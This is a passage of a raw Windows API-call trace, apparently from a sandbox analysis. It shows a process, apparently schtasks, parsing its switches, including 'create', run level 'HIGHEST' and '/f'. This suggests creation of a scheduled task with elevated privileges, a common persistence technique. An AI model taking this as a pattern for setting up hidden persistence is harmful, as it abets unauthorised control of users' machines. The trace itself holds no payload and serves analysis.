_Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|?|") returned 3 [0118.869] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.869] lstrlenW (lpString="|?|") returned 3 [0118.869] lstrlenW (lpString="|rl|") returned 4 [0118.869] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.869] lstrlenW (lpString="s") returned 1 [0118.869] lstrlenW (lpString="s") returned 1 [0118.869] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.869] lstrlenW (lpString="rl") returned 2 [0118.869] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.869] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|s|") returned 3 [0118.870] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.870] lstrlenW (lpString="|s|") returned 3 [0118.870] lstrlenW (lpString="|rl|") returned 4 [0118.870] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.870] lstrlenW (lpString="u") returned 1 [0118.870] lstrlenW (lpString="u") returned 1 [0118.870] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.870] lstrlenW (lpString="rl") returned 2 [0118.870] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.870] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|u|") returned 3 [0118.870] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.870] lstrlenW (lpString="|u|") returned 3 [0118.870] lstrlenW (lpString="|rl|") returned 4 [0118.870] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.870] lstrlenW (lpString="p") returned 1 [0118.870] lstrlenW (lpString="p") returned 1 [0118.870] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.870] lstrlenW (lpString="rl") returned 2 [0118.870] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.870] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|p|") returned 3 [0118.870] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.870] lstrlenW (lpString="|p|") returned 3 [0118.870] lstrlenW (lpString="|rl|") returned 4 [0118.870] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.870] lstrlenW (lpString="ru") returned 2 [0118.870] lstrlenW (lpString="ru") returned 2 [0118.870] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.870] lstrlenW (lpString="rl") returned 2 [0118.871] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.871] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ru|") returned 4 [0118.871] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.871] lstrlenW (lpString="|ru|") returned 4 [0118.871] lstrlenW (lpString="|rl|") returned 4 [0118.871] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0118.871] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.871] lstrlenW (lpString="rp") returned 2 [0118.871] lstrlenW (lpString="rp") returned 2 [0118.871] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.871] lstrlenW (lpString="rl") returned 2 [0118.871] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.871] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rp|") returned 4 [0118.871] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.871] lstrlenW (lpString="|rp|") returned 4 [0118.871] lstrlenW (lpString="|rl|") returned 4 [0118.871] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0118.871] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.871] lstrlenW (lpString="sc") returned 2 [0118.872] lstrlenW (lpString="sc") returned 2 [0118.872] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.872] lstrlenW (lpString="rl") returned 2 [0118.872] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.872] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sc|") returned 4 [0118.872] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.872] lstrlenW (lpString="|sc|") returned 4 [0118.872] lstrlenW (lpString="|rl|") returned 4 [0118.872] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0118.872] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.872] lstrlenW (lpString="mo") returned 2 [0118.872] lstrlenW (lpString="mo") returned 2 [0118.872] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.872] lstrlenW (lpString="rl") returned 2 [0118.872] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.872] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|mo|") returned 4 [0118.872] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.872] lstrlenW (lpString="|mo|") returned 4 [0118.872] lstrlenW (lpString="|rl|") returned 4 [0118.872] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0118.872] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.872] lstrlenW (lpString="d") returned 1 [0118.872] lstrlenW (lpString="d") returned 1 [0118.872] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.873] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.873] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|d|") returned 3 [0118.873] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.873] lstrlenW (lpString="|d|") returned 3 [0118.873] lstrlenW (lpString="|rl|") returned 4 [0118.873] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.873] lstrlenW (lpString="m") returned 1 [0118.873] lstrlenW (lpString="m") returned 1 [0118.873] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.873] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.873] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|m|") returned 3 [0118.873] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.873] lstrlenW (lpString="|m|") returned 3 [0118.873] lstrlenW (lpString="|rl|") returned 4 [0118.873] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.873] lstrlenW (lpString="i") returned 1 [0118.873] lstrlenW (lpString="i") returned 1 [0118.873] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.873] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.873] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|i|") returned 3 [0118.873] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.873] lstrlenW (lpString="|i|") returned 3 [0118.873] lstrlenW (lpString="|rl|") returned 4 [0118.873] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.873] lstrlenW (lpString="tn") returned 2 [0118.873] lstrlenW (lpString="tn") returned 2 [0118.873] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.874] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.874] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tn|") returned 4 [0118.874] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.874] lstrlenW (lpString="|tn|") returned 4 [0118.874] lstrlenW (lpString="|rl|") returned 4 [0118.874] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0118.874] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.874] lstrlenW (lpString="tr") returned 2 [0118.874] lstrlenW (lpString="tr") returned 2 [0118.874] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.874] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.874] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|tr|") returned 4 [0118.874] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.874] lstrlenW (lpString="|tr|") returned 4 [0118.874] lstrlenW (lpString="|rl|") returned 4 [0118.874] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0118.874] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.874] lstrlenW (lpString="st") returned 2 [0118.874] lstrlenW (lpString="st") returned 2 [0118.874] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.874] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.874] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|st|") returned 4 [0118.874] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.874] lstrlenW (lpString="|st|") returned 4 [0118.874] lstrlenW (lpString="|rl|") returned 4 [0118.874] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0118.874] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.874] lstrlenW (lpString="sd") returned 2 [0118.875] lstrlenW (lpString="sd") returned 2 [0118.875] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.875] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.875] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|sd|") returned 4 [0118.875] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.875] lstrlenW (lpString="|sd|") returned 4 [0118.875] lstrlenW (lpString="|rl|") returned 4 [0118.875] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0118.875] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.875] lstrlenW (lpString="ed") returned 2 [0118.875] lstrlenW (lpString="ed") returned 2 [0118.875] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.875] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.875] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ed|") returned 4 [0118.875] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.875] lstrlenW (lpString="|ed|") returned 4 [0118.875] lstrlenW (lpString="|rl|") returned 4 [0118.875] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0118.875] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.875] lstrlenW (lpString="it") returned 2 [0118.875] lstrlenW (lpString="it") returned 2 [0118.875] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.875] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.875] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|it|") returned 4 [0118.875] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.875] lstrlenW (lpString="|it|") returned 4 [0118.875] lstrlenW (lpString="|rl|") returned 4 [0118.875] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0118.875] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.876] lstrlenW (lpString="et") returned 2 [0118.876] lstrlenW (lpString="et") returned 2 [0118.876] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.876] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.876] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|et|") returned 4 [0118.876] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.876] lstrlenW (lpString="|et|") returned 4 [0118.876] lstrlenW (lpString="|rl|") returned 4 [0118.876] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0118.876] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.876] lstrlenW (lpString="k") returned 1 [0118.876] lstrlenW (lpString="k") returned 1 [0118.876] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.876] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.876] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|k|") returned 3 [0118.876] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.876] lstrlenW (lpString="|k|") returned 3 [0118.876] lstrlenW (lpString="|rl|") returned 4 [0118.876] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.876] lstrlenW (lpString="du") returned 2 [0118.876] lstrlenW (lpString="du") returned 2 [0118.876] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.876] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.876] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|du|") returned 4 [0118.876] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.876] lstrlenW (lpString="|du|") returned 4 [0118.876] lstrlenW (lpString="|rl|") returned 4 [0118.876] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0118.876] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.877] lstrlenW (lpString="ri") returned 2 [0118.877] lstrlenW (lpString="ri") returned 2 [0118.877] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.877] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.877] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ri|") returned 4 [0118.877] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.877] lstrlenW (lpString="|ri|") returned 4 [0118.877] lstrlenW (lpString="|rl|") returned 4 [0118.877] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0118.877] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.877] lstrlenW (lpString="z") returned 1 [0118.877] lstrlenW (lpString="z") returned 1 [0118.877] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.877] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.877] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|z|") returned 3 [0118.877] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.877] lstrlenW (lpString="|z|") returned 3 [0118.877] lstrlenW (lpString="|rl|") returned 4 [0118.877] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.877] lstrlenW (lpString="f") returned 1 [0118.877] lstrlenW (lpString="f") returned 1 [0118.877] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.877] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.877] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.877] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.877] lstrlenW (lpString="|f|") returned 3 [0118.877] lstrlenW (lpString="|rl|") returned 4 [0118.877] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.877] lstrlenW (lpString="v1") returned 2 [0118.878] lstrlenW (lpString="v1") returned 2 [0118.878] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.878] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.878] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|v1|") returned 4 [0118.878] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.878] lstrlenW (lpString="|v1|") returned 4 [0118.878] lstrlenW (lpString="|rl|") returned 4 [0118.878] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0118.878] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.878] lstrlenW (lpString="xml") returned 3 [0118.878] lstrlenW (lpString="xml") returned 3 [0118.878] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.878] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.878] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|xml|") returned 5 [0118.878] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.878] lstrlenW (lpString="|xml|") returned 5 [0118.878] lstrlenW (lpString="|rl|") returned 4 [0118.878] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0118.878] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.878] lstrlenW (lpString="ec") returned 2 [0118.878] lstrlenW (lpString="ec") returned 2 [0118.878] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.878] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.878] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|ec|") returned 4 [0118.878] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.878] lstrlenW (lpString="|ec|") returned 4 [0118.878] lstrlenW (lpString="|rl|") returned 4 [0118.878] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0118.878] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.879] lstrlenW (lpString="rl") returned 2 [0118.879] lstrlenW (lpString="rl") returned 2 [0118.879] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.879] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.879] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.879] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|rl|") returned 4 [0118.879] lstrlenW (lpString="|rl|") returned 4 [0118.879] lstrlenW (lpString="|rl|") returned 4 [0118.879] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0118.879] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.879] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.879] lstrlenW (lpString="HIGHEST") returned 7 [0118.879] lstrlenW (lpString="-/") returned 2 [0118.879] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0118.879] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.879] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.879] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.879] lstrlenW (lpString="HIGHEST") returned 7 [0118.879] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0118.879] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.879] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.879] _memicmp (_Buf1=0x1a4f4a3ab60, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.879] lstrlenW (lpString="HIGHEST") returned 7 [0118.879] lstrlenW (lpString="HIGHEST") returned 7 [0118.879] lstrlenW (lpString=" \x09") returned 2 [0118.879] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0118.879] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0118.879] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0118.879] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0118.879] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0118.880] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0118.880] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0118.880] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0118.880] GetLastError () returned 0x0 [0118.880] lstrlenW (lpString="HIGHEST") returned 7 [0118.880] lstrlenW (lpString="HIGHEST") returned 7 [0118.880] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.880] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.880] lstrlenW (lpString="/f") returned 2 [0118.880] lstrlenW (lpString="-/") returned 2 [0118.880] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0118.880] lstrlenW (lpString="create") returned 6 [0118.880] lstrlenW (lpString="create") returned 6 [0118.880] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.880] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.880] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|create|") returned 8 [0118.880] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.880] lstrlenW (lpString="|create|") returned 8 [0118.880] lstrlenW (lpString="|f|") returned 3 [0118.880] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0118.880] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.880] lstrlenW (lpString="?") returned 1 [0118.880] lstrlenW (lpString="?") returned 1 [0118.880] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.880] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.880] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|?|") returned 3 [0118.880] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.880] lstrlenW (lpString="|?|") returned 3 [0118.881] lstrlenW (lpString="|f|") returned 3 [0118.881] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0118.881] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.881] lstrlenW (lpString="s") returned 1 [0118.881] lstrlenW (lpString="s") returned 1 [0118.881] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.881] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.881] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|s|") returned 3 [0118.881] _vsnwprintf (in: _Buffer=0x1a4f4a33910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|f|") returned 3 [0118.881] lstrlenW (lpString="|s|") returned 3 [0118.881] lstrlenW (lpString="|f|") returned 3 [0118.881] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0118.881] RtlRestoreLastWin32Error () returned 0x791efbd000 [0118.881] lstrlenW (lpString="u") returned 1 [0118.881] lstrlenW (lpString="u") returned 1 [0118.881] _memicmp (_Buf1=0x1a4f4a34350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.881] _memicmp (_Buf1=0x1a4f4a338f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0118.881] _vsnwprintf (in: _Buffer=0x1a4f4a33930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x791ed4c178 | out: _Buffer="|u|") returned 3 [0118.881] _vsnwprintf (in: _Buffer=0x1a4f4a33910, 